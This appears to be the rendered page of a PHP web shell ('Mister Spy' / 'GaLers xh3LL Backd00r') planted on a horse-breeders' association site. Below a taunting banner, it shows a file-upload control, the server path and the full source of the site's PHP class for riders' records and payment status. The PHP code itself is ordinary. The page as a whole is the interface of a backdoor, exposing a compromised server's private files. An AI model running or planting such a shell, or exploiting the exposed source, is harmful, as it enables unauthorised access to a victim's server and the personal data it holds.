Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.jinete.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.jinetespagos.php');

class Jinete
{
	const pathBig = '/_recursos/jinetes/images/big/';
	const pathThumb = '/_recursos/jinetes/images/thumb/';

	public $IdJinete;
	public $Nombre;
	public $Apellido;
	public $DocumentoNumero;
	public $Telefono;
	public $Email;
	public $Domicilio;
	public $Socio;
	public $FechaAlta;
	public $FechaNacimiento;
	public $Disponible;
	public $Bonificado;
	public $PuntajeFuncional;
	public $PuntajeMarcha;
	public $FechaVencimientoPago;
	public $Validado;
	public $Observaciones;
	public $Imagen1;
	public $Imagen2;
	public $CuentaCorriente;

	public function __construct()
	{
		$this->IdJinete 			= '';
		$this->Nombre 				= '';
		$this->Apellido				= '';
		$this->DocumentoNumero 		= '';
		$this->Telefono		 		= '';
		$this->Email 				= '';
		$this->Domicilio 			= '';
		$this->Socio 				= '0';
		$this->FechaAlta			= '';
		$this->FechaNacimiento		= '';
		$this->PuntajeFuncional 	= '';
		$this->PuntajeMarcha 		= '';
		$this->Disponible			= '1';
		$this->Bonificado			= '0';
		$this->FechaVencimientoPago	= '';
		$this->Validado 			= '0';
		$this->Observaciones		= '';
		$this->Imagen1				= '';
		$this->Imagen2				= '';
		$this->CuentaCorriente		= 0;
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdJinete 			= $arr['IdJinete'];
		$this->Nombre 				= $arr['Nombre'];
		$this->Apellido				= $arr['Apellido'];
		$this->DocumentoNumero		= $arr['DocumentoNumero'];
		$this->Telefono				= $arr['Telefono'];
		$this->Email				= $arr['Email'];
		$this->Domicilio			= $arr['Domicilio'];
		$this->Socio				= $arr['Socio'];
		$this->FechaAlta			= $arr['FechaAlta'];
		$this->FechaNacimiento		= $arr['FechaNacimiento'];
		$this->PuntajeFuncional		= $arr['PuntajeFuncional'];
		$this->PuntajeMarcha		= $arr['PuntajeMarcha'];
		$this->Disponible			= $arr['Disponible'];
		$this->Bonificado			= $arr['Bonificado'];
		$this->FechaVencimientoPago	= $arr['FechaVencimientoPago'];
		$this->Validado				= $arr['Validado'];
		$this->Observaciones		= $arr['Observaciones'];
		$this->Imagen1				= $arr['Imagen1'];
		$this->Imagen2				= $arr['Imagen2'];
		$this->CuentaCorriente		= $arr['CuentaCorriente'];
	}
	
	
	public function CompararPuntajeFuncional($obj1, $obj2)
	{
		if ($obj1->PuntajeFuncional == $obj2->PuntajeFuncional)
			return 0;
		else if ($obj1->PuntajeFuncional > $obj2->PuntajeFuncional)
			return -1;
		else
			return 1;
	}	


	public function CompararPuntajeMarcha($obj1, $obj2)
	{
		if ($obj1->PuntajeMarcha == $obj2->PuntajeMarcha)
			return 0;
		else if ($obj1->PuntajeMarcha > $obj2->PuntajeMarcha)
			return -1;
		else
			return 1;
	}

	public function TieneDeuda($fecha = null, $IdEvento = null) {

		if ($this->Socio == 1) {
			return false;
		}

		if ($this->Bonificado == 1) {
			return false;
		}

		if (!$fecha && date('Y') < 2024) {
			$fecha = '2024-01-01';
		}

		if ($this->FechaNacimiento) {
			$dt = new DateTime($this->FechaNacimiento);
			$now = $fecha ? new DateTime($fecha) : new DateTime();
			$years = $now->diff($dt);
			if ($years->y < 13) {
				return false;
			}
		}

		if ($this->FechaVencimientoPago) {
			$dt = new DateTime($this->FechaVencimientoPago);
			$now = $fecha ? new DateTime($fecha) : new DateTime();

			if ($dt >= $now) {
				return false;
			}
		}

		if ($IdEvento) {
			$oJinetesPagos = new JinetesPagos();
			if ($oJinetesPagos->GetByIdJineteEventoValido($this->IdJinete, $IdEvento)) {
				return false;
			}
		}

		return true;

	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat